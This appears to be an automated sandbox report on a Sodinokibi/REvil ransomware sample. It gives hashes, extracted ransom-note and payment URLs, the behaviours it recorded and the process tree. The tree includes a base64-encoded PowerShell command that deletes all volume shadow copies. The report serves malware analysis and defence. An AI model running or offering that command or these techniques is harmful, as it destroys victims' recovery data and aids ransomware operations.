Analysis
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max time kernel
178s -
max time network
158s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
30-01-2022 07:56
Static task
static1
Behavioral task
behavioral1
Sample
22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe
Resource
win10-en-20211208
General
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Target
22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe
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Size
133KB
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MD5
fa3cbd224ae012ebbef336f49cf83c77
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SHA1
7071091b8f7e0387a0d0e643665acb12d5eab211
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SHA256
22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3
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SHA512
fee1a5408ea269d6b338d338cbaae90f32a90de6061a2e8ed2bf216e9496a7e475ffea8c08c7ceb5022e36595eb403eb8695a87b2b08d316a24662d72940fd53
Malware Config
Extracted
C:\4p8lv6zd8-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/15AE5EE880EFE130
http://decryptor.cc/15AE5EE880EFE130
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\mjOObKp0yy = "C:\\Users\\Admin\\AppData\\Local\\Temp\\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe" 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\O: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\R: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\U: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\W: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\H: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\L: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\K: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\P: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\S: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\G: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\J: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\F: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\I: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\N: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\T: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\V: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\Y: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\A: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\B: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\Z: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\Q: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\X: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\E: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened (read-only) \??\M: 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe -
Drops file in Program Files directory 11 IoCs
description ioc Process File created \??\c:\program files\4p8lv6zd8-readme.txt 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\ConfirmConnect.search-ms 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\GrantSkip.svgz 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\PingBlock.asx 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\RevokeWatch.MTS 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File created \??\c:\program files (x86)\4p8lv6zd8-readme.txt 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\BackupInvoke.vsdm 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\FindSwitch.shtml 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\FormatOptimize.mpe 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\GetTest.ogg 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe File opened for modification \??\c:\program files\PublishCopy.ppsm 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3180 powershell.exe 3180 powershell.exe 3180 powershell.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe Token: SeDebugPrivilege 3180 powershell.exe Token: SeBackupPrivilege 2320 vssvc.exe Token: SeRestorePrivilege 2320 vssvc.exe Token: SeAuditPrivilege 2320 vssvc.exe Token: SeTakeOwnershipPrivilege 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3516 wrote to memory of 3180 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 74 PID 3516 wrote to memory of 3180 3516 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe 74
Processes
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C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3180
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1812
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2320